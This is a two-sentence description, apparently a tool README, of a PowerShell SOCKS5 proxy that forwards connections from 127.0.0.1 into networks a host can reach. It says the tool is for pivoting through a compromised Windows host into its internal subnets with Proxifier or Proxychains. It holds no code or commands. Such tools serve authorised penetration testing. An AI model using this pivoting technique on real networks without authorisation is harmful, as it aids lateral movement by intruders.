A PowerShell SOCKS5 proxy that accepts connections on 127.0.0.1 (for example through SSH tunnels, redirectors or other local forwards) and pushes them out into whatever networks the host can reach.
Useful for network pivoting when you proxy traffic with tools like Proxifier or Proxychains and need to route it through a compromised Windows host into its internal subnets.
